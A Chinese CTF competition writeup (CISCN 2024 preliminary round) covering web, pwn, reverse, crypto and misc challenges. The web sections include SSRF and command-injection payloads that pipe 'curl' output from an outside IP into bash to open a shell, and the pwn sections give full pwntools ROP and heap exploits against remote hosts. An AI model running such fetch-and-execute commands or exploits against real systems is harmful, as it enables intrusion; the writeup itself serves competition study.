第十七届全国大学生信息安全竞赛 初赛 Writeup by X2cT34m
文章目录
Web
Simple_php
php -r system(str_rot13($argv[1])($argv[2])); onfr64_qrpbqr L2Jpbi9iYXNoIC90bXAvcg==
最后⼀个参数是 base64 编码的命令。反弹出来 mysql -u root -p 密码 root , flag 在那个PHP_CMS.F什么的表 ⾥⾯
Easycms
flag.php 很明显他是⼀个需要ssrf打的,搜到⼀个ssrf在qrcode,github上的源码不对, $img = getimagesize($thumb); 这⾥就可以 ssrf ,⼀直以为是 file_get_contents 出的,
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def index():
return redirect('http://127.0.0.1/flag.php?cmd=curl 101.34.243.60:8000/2|bash')
app.run(host='0.0.0.0', port=2345)
访问
弹shell出来,/readflag
easycms_revenge
同样的 ssrf ,他要请求两次,第⼀次如果是图⽚再请求第⼆次
<?php
$imgPath='image.png';
if(file_exists('./flag')){
header("Content-Type: ".mime_content_type($imgPath));
readfile($imgPath); unlink('./flag');
}else{
file_put_contents('./flag',"");
header('Location: http://127.0.0.1/flag.php?cmd=curl 101.34.243.60:9000|bash',true,302);
}
Pwn
gostack
stack基本就是栈溢出,cyclic让他炸一下看看,coredump有栈信息,看pc的位置是啥确定溢出长度然后找gadget即可。
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#s=process("./gostack")
s=remote("8.147.132.179",20522)
syscall_ret=0x00000000004616c9
#0x00000000004a18a5 : pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
rdi=0x00000000004a18a5
rsi=0x000000000042138a
rdx=0x00000000004944ec
rax=0x000000000040f984
pause()
s.sendline(b"\x00"*456+flat([
0xdeadbeef,
rdi,0,0,0,0,0,0,
rsi,0x550000,
rdx,0x100,
rax,0,
syscall_ret,
rdi,0x550000,0,0,0,0,0,
rsi,0,
rdx,0,
rax,59,
syscall_ret
]))
s.send(b"/bin/sh\x00")
s.interactive()
EzHeap
堆溢出,漏env打栈
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#s=process("./EzHeap")
s=remote("8.147.133.80",37923)
libc=ELF("./libc.so.6")
def menu(ch):
s.sendlineafter(b">> ",str(ch).encode())
def add(sz,cont=b"/flag\x00"):
menu(1)
s.sendlineafter(b"size:",str(sz).encode())
s.sendafter(b"content:",cont)
def delete(idx):
menu(2)
s.sendlineafter(b"idx:",str(idx).encode())
def edit(idx,size,cont):
menu(3)
s.sendlineafter(b"idx:",str(idx).encode())
s.sendlineafter(b"size:",str(size).encode())
s.sendafter(b"content:",cont)
def show(idx):
menu(4)
s.sendlineafter(b"idx:",str(idx).encode())
s.recvuntil(b"content:")
return s.recvuntil(b"Welcom",drop=True)
if __name__=="__main__":
pause()
add(0xf8)
add(0xf8)
add(0x428)
add(0x1f8)
delete(1)
edit(0,0x100,b"a"*0x100)
heap_xor_key=int.from_bytes(show(0)[0x100:],byteorder='little')-2
heap_base=heap_xor_key<<12
success(hex(heap_base))
pause()
edit(0,0x100,b"a"*0xf8+p64(0x101))
add(0xf8)
delete(2)
edit(1,0x100,b"b"*0x100)
libc.address=int.from_bytes(show(1)[0x100:],byteorder='little')+0x7f670c4e4000-0x7f670c6fdce0-0x1000
success(hex(libc.address))
pause()
edit(1,0x100,b"c"*0xf8+p64(0x431))
add(0x428)
add(0x208) #4
add(0x208) #5
add(0x208) #6
delete(6)
delete(5)
edit(4,0x218,b"d"*0x208+p64(0x211)+p64((libc.sym.environ-0x200)^(heap_xor_key+2)))
add(0x200)
add(0x200)
edit(6,0x200,b"a"*0x200)
stack=int.from_bytes(show(6)[0x200:],byteorder='little')
success(hex(stack))
pause()
edit(6,6,b"/flag\x00")
add(0x218) #7
add(0x218) #8
add(0x218) #9
delete(9)
delete(8)
edit(7,0x228,b"e"*0x218+p64(0x221)+p64((stack-0x178)^(heap_xor_key+3)))
add(0x210)
rdi=libc.address+0x000000000002a3e5
rsi=libc.address+0x000000000002be51
rdx=libc.address+0x000000000011f2e7
rax=libc.address+0x0000000000045eb0
syscall=libc.address+0x0000000000091316
pause()
add(0x210,flat([
0,rdi,libc.sym.environ-0x200,rsi,0,rdx,0,0,rax,2,syscall,
rdi,3,rsi,heap_base+0x1000,rdx,0x100,0,rax,0,syscall,
rdi,1,rax,1,syscall,
]))
s.interactive()
Reverse
asm_re
可以根据汇编还原代码如下:
#include <stdio.h>
#include <string.h>
char flag[] = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
int main(int argc, const char **argv, const char **envp) {
char result[100] = {0};
char *dst = &result[0];
char src[] = {0xD7, 0x1F, 0x00, 0x00, 0xB7, 0x21, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x27, 0x20, 0x00, 0x00, 0xE7, 0x26, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xF7, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x17, 0x1F, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x67, 0x1F, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x17, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x47, 0x0F, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x87, 0x27, 0x00, 0x00};
size_t n = 0x98;
memcpy(dst, src, n);
size_t flag_len = strlen(flag);
for (int i = 0; i < flag_len; i++) {
char c = flag[i];
result[i] = (c * 0x50 + 0x14) ^ 0x4D + 0x1E;
}
result[flag_len] = 0;
printf("\n");
int matched = 1;
for (int i = 0; i < flag_len; i++) {
if (result[i] != src[i]) {
matched = 0;
break;
}
}
if (matched) {
printf("The result array matches the expected array.\n");
} else {
printf("The result array does not match the expected array.\n");
}
return 0;
}
然后写出解密程序如下:
#include <stdio.h>
#include <string.h>
char flag[] = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
int main(int argc, const char **argv, const char **envp)
{
int result[100] = {0};
int src[] = {
0x00001FD7, 0x000021B7, 0x00001E47, 0x00002027,
0x000026E7, 0x000010D7, 0x00001127, 0x00002007,
0x000011C7, 0x00001E47, 0x00001017, 0x00001017,
0x000011F7, 0x00002007, 0x00001037, 0x00001107,
0x00001F17, 0x000010D7, 0x00001017, 0x00001017,
0x00001F67, 0x00001017, 0x000011C7, 0x000011C7,
0x00001017, 0x00001FD7, 0x00001F17, 0x00001107,
0x00000F47, 0x00001127, 0x00001037, 0x00001E47,
0x00001037, 0x00001FD7, 0x00001107, 0x00001FD7,
0x00001107, 0x00002787};
size_t n = sizeof(src) / sizeof(src[0]);
size_t flag_len = strlen(flag);
for (int i = 0; i < sizeof(src) / sizeof(src[0]); i++)
{
int v = (src[i] - 0x1E) ^ 0x4D;
char c = (v - 0x14) / 0x50;
flag[i] = c;
}
flag[sizeof(src) / sizeof(src[0])] = '\0';
printf("Recovered flag: %s\n", flag);
return 0;
}
Recovered flag: flag{67e9a228e45b622c2992fb5174a4f5f5}
androidso_re
分析一下主体代码,可以看出是AES加密后BASE64编码,然后和内置值比较
public static boolean inspect(String input_str){
boolean bool;
int i = 1;
try{
byte[] input_flag = input_str.getBytes(StandardCharsets.UTF_8);
byte[] str2 = jni.getkey().getBytes(StandardCharsets.UTF_8);
Arrays.copyOf(str2, 8);
SecretKeySpec key = new SecretKeySpec(str2, "AES");
byte[] ivBytes = jni.getiv().getBytes(StandardCharsets.UTF_8);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
cipher.init(i, key, iv);
byte[] encryptedBytes = cipher.doFinal(input_flag);
String encryptedFlag = Base64.encodeToString(encryptedBytes, 0).trim();
if (bool = encryptedFlag.equals("JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==")) {
i = 0;
}
return i;
}catch(java.lang.Exception e1){
e1.printStackTrace();
return i;
}
}
private boolean legal(String paramString){
boolean b = false;
if (paramString.length() != 38) {
}else if(paramString.startsWith("flag{") && (paramString.charAt((paramString.length() - 1)) == '}' && !inspect.inspect(paramString.substring(5, (paramString.length() - 1))))){
b = 1;
}
return b;
}
public void onClick(View v){
Log.d("Button ID", "Button ID: "+v.getId());
switch (v.getId()){
case 0x7f080003:
String inputstr = this.editText.getText().toString();
if (this.legal(inputstr)) {
Toast.makeText(this, "You are right.", 0).show();
return;
}else {
Toast.makeText(this, "You are wrong.", 0).show();
}
break;
default:
}
return;
}
这里的IV和KEY来自SO文件,我们hook一下即可拿到相关参数。
类型:DES/CBC/PKCS5Padding
加密/解密:加密
密钥:A8UdWaeq
iv:Wf3DLups
原始数据:sjjsjsjjsjsjnsksjjsjjsjndjjdbdhj
加密结果:�x�6[����\�a<�R�s!klZ����`bAY�Ea���
调用堆栈:
J -->callback(line:292)
com.example.re11113.inspect -->inspect(line:26)
com.example.re11113.MainActivity -->legal(line:26)
com.example.re11113.MainActivity -->onClick(line:47)
android.view.View -->performClick(line:7158)
com.google.android.material.button.MaterialButton -->performClick(line:1131)
android.view.View -->performClickInternal(line:7135)
android.view.View -->access3500(line:801)
android.view.ViewPerformClick -->run(line:27375)
android.os.Handler -->handleCallback(line:883)
android.os.Handler -->dispatchMessage(line:100)
android.os.Looper -->loop(line:239)
android.app.ActivityThread -->main(line:7500)
java.lang.reflect.Method -->invoke(line:-2)
com.android.internal.os.RuntimeInit$MethodAndArgsCaller -->run(line:492)
com.android.internal.os.ZygoteInit -->main(line:935)
然后可以写出解密程序如下:
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class Main {
private static final String KEY = "A8UdWaeq";
private static final String IV = "Wf3DLups";
private static final String ALGORITHM = "DES/CBC/PKCS5Padding";
public static String decrypt(String encryptedData) throws Exception {
Cipher cipher = Cipher.getInstance(ALGORITHM);
SecretKeySpec keySpec = new SecretKeySpec(KEY.getBytes(StandardCharsets.UTF_8), "DES");
IvParameterSpec ivSpec = new IvParameterSpec(IV.getBytes(StandardCharsets.UTF_8));
cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);
byte[] original = cipher.doFinal(Base64.getDecoder().decode(encryptedData));
return new String(original, StandardCharsets.UTF_8);
}
public static void main(String[] args) {
try {
String encryptedText = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
String decryptedText = decrypt(encryptedText);
System.out.println("flag{" + decryptedText + "}");
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行该程序后可以得到flag
flag{188cba3a5c0fbb2250b5a2e590c391ce}
rust_baby
{
"henhenaaa!":[1,1,4,5,1,4,1,9,1,9,8,1,0],
"cryforhelp":"igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc=",
"whatadoor":"1145141919810WTF",
"iwantovisit":"O0PSwantf1agnow1"
}
分析题目,可以看出程序对输入的值按字节加减了特定值,然后进行xor 0x33,之后用一套复杂的方式生成密钥后对数据xor加密,然后进行BASE64编码,最终与内置值比较。根据该流程提取出需要的特定值和xor表,解密掉程序内置的flag即可。
解题脚本如下:
import base64
encoded_str = "igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc="
decoded_bytes = base64.b64decode(encoded_str)
xor_table = [
0xDC, 0x5F, 0x20, 0x22, 0xC2, 0x79, 0x19, 0x56, 0x35, 0xDA, 0x8B, 0x47, 0xD3, 0x19, 0xFC, 0x55,
0x14, 0xCD, 0xD2, 0x7B, 0x58, 0x59, 0x09, 0x42, 0xDE, 0x2C, 0xB4, 0x48, 0xD9, 0xF2, 0x1B, 0xA9,
0x40, 0xE1, 0xA6, 0xFB, 0xFF, 0x38, 0xC1, 0xD5, 0xE2, 0xE8, 0x77, 0x78, 0x6F, 0x22, 0x04, 0xE6,
0x16, 0x3E, 0x0C, 0x35, 0x52, 0x5C, 0xFD, 0xC1, 0xE5, 0x59, 0x1C, 0xD0, 0xAE, 0x5A, 0xB2, 0xDD,
0x19, 0xF8, 0x42, 0xE6, 0x2C, 0x89, 0x59, 0xE5, 0x11, 0x9C, 0xC8, 0x7B, 0x81, 0x70, 0x7F, 0x6F,
0xBC, 0x6F, 0x02, 0x8F, 0xF7, 0xF4, 0xC8, 0x70, 0xAE, 0x02, 0xF8, 0x5B, 0xE2, 0x72, 0x08, 0x09,
0x6F, 0xBF, 0x4B, 0x39, 0xB5, 0xD0, 0x1E, 0xA3, 0x23, 0xAB, 0x9B, 0x43, 0xB1, 0x15, 0xD7, 0xBE
]
add_table = [0xFF, 0xFF,0x00, 0x00, 0x01, 0x01, 0x02, 0x02]
xor_result = bytes([(decoded_bytes[i] ^ xor_table[i % len(xor_table)]) for i in range(len(decoded_bytes))])
xor33_result = bytes([(b ^ 0x33) for b in xor_result])
final_result = bytearray()
for i in range(0, len(xor33_result), 8):
block = xor33_result[i:i+8]
adjusted_block = bytes([(block[j] - add_table[j % len(add_table)]) & 0xFF for j in range(len(block))])
final_result.extend(adjusted_block)
try:
decoded_string = final_result.decode()
except UnicodeDecodeError:
decoded_string = "WTF"
print(decoded_string.rstrip('E'))
flag{6e2480b3-4f02-4cf1-9bc0-123b75f9a922}
whereThel1b
python3.10的模块逆向,算法看起来是取固定种子的随机数,然后先add后xor。考虑到时间,最后还是用爆破的方案了,其中几个字节爆破时有一些问题,这里手动逆向固定一下用于修正脚本。
import whereThel1b
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85,
105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
allowed_chars = bytes(
'0123456789abcdef', 'utf-8')
def mock_encrypt(flag):
whereThel1b.whereistheflag(flag)
ret = whereThel1b.trytry(flag)
return ret
# 初始化 flag
flag = bytearray(b'flag{123e4567-e89b-12d3-a456-426655440000}')
flagmask = bytearray(b'flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}')
flagskip = bytearray(b'xxxxxxxxx1xxxxx6xxxxxdxxaxxxxxx0xxxxx3xxxx')
for i in range(42):
if flag[i] == flagmask[i]:
continue
best_byte = flag[i]
max_match = 0
# 尝试每个可能的字节值
for b in allowed_chars:
flag[i] = b
enc = mock_encrypt(flag)
# 计算匹配的字节数
match_count = sum(1 for x, y in zip(enc, encry) if x == y)
if flagskip[i] != ord('x'):
print(match_count)
print(chr(b))
print(i)
if b <= flagskip[i]:
continue
if match_count > max_match:
max_match = match_count
best_byte = b
flag[i] = best_byte
print("Flag:", flag.decode())
gdb_debug
分析下题目,是利用固定种子的随机数xor,调整字节顺序,然后再取随机数xor,之后与内置的值xor,然后和内置的字符串比较。
这里直接提取出xor用的随机数,然后反向编写代码即可。
import binascii
def hex_to_bytes(hex_str):
return binascii.unhexlify(hex_str)
def xor_bytes(bytes1, bytes2):
return bytes([b1 ^ b2 for b1, b2 in zip(bytes1, bytes2)])
def parse_order(order_str):
return [int(order_str[i:i+2], 16) for i in range(0, len(order_str), 2)]
def reorder_bytes(data, order):
reordered = bytearray(len(data))
for i, pos in enumerate(order):
reordered[pos] = data[i]
return bytes(reordered)
key1 = hex_to_bytes("d90f18bdc71681bef84a65f25dab2b33d4a567989f7e2b5dc2af8e3a4ca57525b48de37ba364")
key2 = hex_to_bytes("deaa42fc09e8b2060d9361f424491501d7ab0418cfe9d59633caf92a5eea2d3c946f389d58ea")
key3 = hex_to_bytes("BFD72EDAEEA81A108373ACF106BEAD8804D712FEB5E261B73D074AE896A29D4DBC818CE98878")
final_result = hex_to_bytes("636f6e67726174756c6174696f6e73746f796f75636f6e67726174756c6174696f6e73746f79")
order = parse_order("120E1B1E110507011022061716081913040F020D250C03151C140B1A18091D231F20240A0021")
intermediate_result = xor_bytes(final_result, key3)
intermediate_result = xor_bytes(intermediate_result, key2)
original_order = [0] * len(order)
for i, pos in enumerate(order):
original_order[i] = pos
reordered_back = reorder_bytes(intermediate_result, original_order)
original_input = xor_bytes(reordered_back, key1)
print(original_input)
Crypto
OvO
$$e=65537+kp+(k+2)(p+1)(q+1)+1\ e=65537+(k+2)n+2(k+1)p+(k+2)q+k+3\ ep=65537p+(k+2)np+2(k+1) p^2+(k+2)n+(k+3)p\ 令k = e // 2 - 2$$
因为e的信息缺失,通过上式求根的办法只能得到q的高位,接下来还得利用q高位泄露的办法去解q的低位。
得到所有信息之后正常代数解密就可以。
from Crypto.Util.number import *
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
k = e//n-2
g = 65537 + (k+2)*n + (k+2) + 1
R.<x> = PolynomialRing(RealField(1024))
f = e*x - (2*(k+1)*x**2 + (k+2)*n + g*x)
MSBs = f.roots()
print(f'[+] MSB = {MSBs}')
for MSB in MSBs:
PR.<x> = PolynomialRing(Zmod(n))
print(f'[+] test = {int(MSB[0])}')
t = int(MSB[0])
f_= x+t
root = f_.small_roots(X=2**200,beta=0.4)
print(f'[+] find root = {root}')
try:
p = root[0]+t
if n%p==0:
print(f'[+] p={p}')
break
except:
pass
q = int(n//int(p))
phi = (q-1)*(p-1)
assert isPrime(int(k))
k = int(k)
print(f'k = {k}')
print(f'p = {p}')
print(f'q = {q}')
print(f'c = {c}')
#拿参数
解密:
from Crypto.Util.number import *
p=9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q=11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
n=q*p
c=14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
k = 331118458487559161870846961263454730637
e = 65537 + k*p + (k+2) * ((p+1) * (q+1)) + 1
phi = (q-1)*(p-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#b'flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}'
古典密码
Atbash -> base64 -> 栅栏:
AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
Misc
火锅链观光打卡
安装好狐狸之后,照着按钮点就完了,答对七个问题直接换flag就ok
Power Trajectory
拿到题目,利用matplotlib分析同一个字母的所有波形图,可以找到显著的功耗低点特征,分析波形图得出密码位数,之后写代码提取密码即可
观察用脚本:
import numpy as np
import matplotlib.pyplot as plt
file_path = "attachment.npz"
data = np.load(file_path, allow_pickle=True)
trace = data['trace']
input_data = data['input']
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!@#"
repetitions = 13
char_traces = {char: [] for char in characters}
for idx, char in enumerate(input_data):
char_traces[char].append(trace[idx])
for char in characters:
plt.figure(figsize=(10, 6))
for idx, t in enumerate(char_traces[char]):
plt.plot(t, label=f'Try {idx+1}')
plt.title(f'Power traces for character "{char}"')
plt.xlabel('Sample Points')
plt.ylabel('Power Consumption')
plt.legend()
plt.show()
提取密码脚本:
import numpy as np
file_path = "attachment.npz"
poem = np.load(file_path, allow_pickle=True)
index, inputs, output, trace = poem['index'], poem['input'], poem['output'], poem['trace']
print("Input shape:", inputs.shape)
print("Unique inputs:", np.unique(inputs))
num_chars = 40
num_groups = 13
grouped_inputs = inputs.reshape((num_groups, num_chars))
min_power_indices = np.zeros((num_groups, num_chars), dtype=int)
for i in range(num_groups):
for j in range(num_chars):
trace_index = i * num_chars + j
trace_data = trace[trace_index]
min_power_indices[i, j] = np.argmin(trace_data)
outlier_indices = []
for i in range(num_groups):
mean_min_power = np.mean(min_power_indices[i])
std_min_power = np.std(min_power_indices[i])
for j in range(num_chars):
if abs(min_power_indices[i, j] - mean_min_power) > 2 * std_min_power:
outlier_indices.append((i, j, grouped_inputs[i, j]))
for outlier in outlier_indices:
print(f"Group {outlier[0]}, Character Position {outlier[1]}, Character: '{outlier[2]}'")
outlier_string = ""
for outlier in outlier_indices:
outlier_string += outlier[2]
print(outlier_string)
ciscn_2024
通风机
百度知道mwp -> 西门子的软件 -> V4.0 STEP 7 MicroWIN SP9 ->尝试打开 ->开不了,
检查文件头和文件十六进制,发现头部的几个字节被删去了,手动用创建一个新的项目,把文件头拿过来用就可以。
进项目之后翻了一下,发现有奇怪的base64特征字符
最新评论